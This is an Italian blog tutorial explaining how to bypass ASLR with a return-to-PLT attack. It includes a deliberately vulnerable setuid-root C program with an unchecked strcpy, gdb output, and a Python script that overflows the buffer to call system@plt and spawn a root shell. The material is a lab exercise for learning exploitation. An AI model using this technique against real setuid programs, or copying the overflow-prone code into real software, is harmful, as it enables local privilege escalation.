Bypass ASLR con return-to-PLT

Come abbiamo già visto l’ASLR è un sistema di protezione dagli attacchi di tipo buffer-overflow che quando impostato a 2 (ovvero il valore di default), randomizza gli indirizzi dello stack, dell’heap e delle librerie condivise. L’obiettivo di questo articolo è quello di bypassare l’ASLR in modo da aprire una root shell usando le funzioni di PLT che non vengono randomizzate con l’ASLR; questo perché l’indirizzo di queste funzioni è conosciuto prima dell’esecuzione. Per cercare di capire come funziona questa tecnica bisogna prima ribadire qualche concetto:

Le librerie condivise sono uniche e condividono il proprio contenuto con tutti i processi in memoria, questo permette di risparmiare spazio su disco. Siccome tutti i processi possono accedervi queste librerie sono solo in sola esecuzione e lettura, non scrittura. Ora il problema è che non potendo scrivere su di esse il linker dinamico non può aggiungere ne dati ne indirizzi, per risolvere questo problema si usa il PIC. Il PIC (PositionIndipendentCode) è una tabella che si preoccupa di rendere disponibile l’accesso alle librerie condivise a tutti i processi. Le librerie vengono collocate nel PIC dal linker dinamico nel PLT. Il PLT contiene tutti gli indirizzi delle funzioni della libreria; in questa tabella però le funzioni sono in sola lettura ed esecuzione e per essere modificate bisogna “saltare” ad un’altra tabella chiamata GOT. Siccome nel nostro caso non dobbiamo modificare le funzioni ma solamente richiamarle useremo esclusivamente il PLT.

Ora che abbiamo capito in linea di massima come vengono sfruttate le funzioni del PLT passiamo a creare il nostro exploit. Prima tutti scriviamo il nostro codice vulnerabile (come sempre creiamo per comodità un file chiamato vuln.c).

#include <stdio.h>
#include <string.h>

/* Anche se la funzione shell() è presente, per richiamarla bisogna prima richiamare 
le funzioni "<system@PLT>" e "<exit@PLT>". Questa istanza sarà presente nel nostro exploit*/
void shell() {
 system("/bin/sh");
 exit(0);
}

int main(int argc, char* argv[]) {
 int i=0;
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 return 0;
}

Creato il nostro file dobbiamo compilare e attivare la randomizzazione completa dell’ASLR

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Come scritto nel commento di vuln.c per richiamare la funzione shell() dobbiamo richiamare le funzioni nel PLT, per ottenere gli indirizzi di queste funzioni disassembliamo la shell() con gdb, e otteniamo questo output:

(gdb) disassemble shell
 Dump of assembler code for function shell:
 0x08048474 <+0>: push %ebp
 0x08048475 <+1>: mov %esp,%ebp
 0x08048477 <+3>: sub $0x18,%esp
 0x0804847a <+6>: movl $0x80485a0,(%esp)
 0x08048481 <+13>: call 0x8048380 <system@plt>
 0x08048486 <+18>: movl $0x0,(%esp)
 0x0804848d <+25>: call 0x80483a0 <exit@plt>

Per capire meglio quali sono gli indirizzi da usare bisogna osservare le funzioni call che ho evidenziato in grassetto. Come possiamo notare vengono richiamate le funzioni <system@plt> <exit@plt>, che sono quelle che ci servono; quindi usiamo i loro indirizzi nel nostro exploit.

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

system = 0x8048380  #ottenuto dopo aver disassemblato la shell()
exit = 0x80483a0    #ottenuto dopo aver disassemblato la shell()
system_arg = 0x80485b5     #ottenuto dall'output del hexdump di vuln

#conversione in endian 
def conv(num):
 return struct.pack("<I",num)

# offset + system + exit + system_arg
buf = "A" * 272
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln", buf])

Se i passaggi sono stati seguiti correttamente dovrebbe aprirsi una root-shell.

Se hai qualche minuto guarda gli altri articoli

CREDITS Sploit fun e Wikipedia

 

Rispondi

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo di WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione /  Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione /  Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione /  Modifica )

Connessione a %s...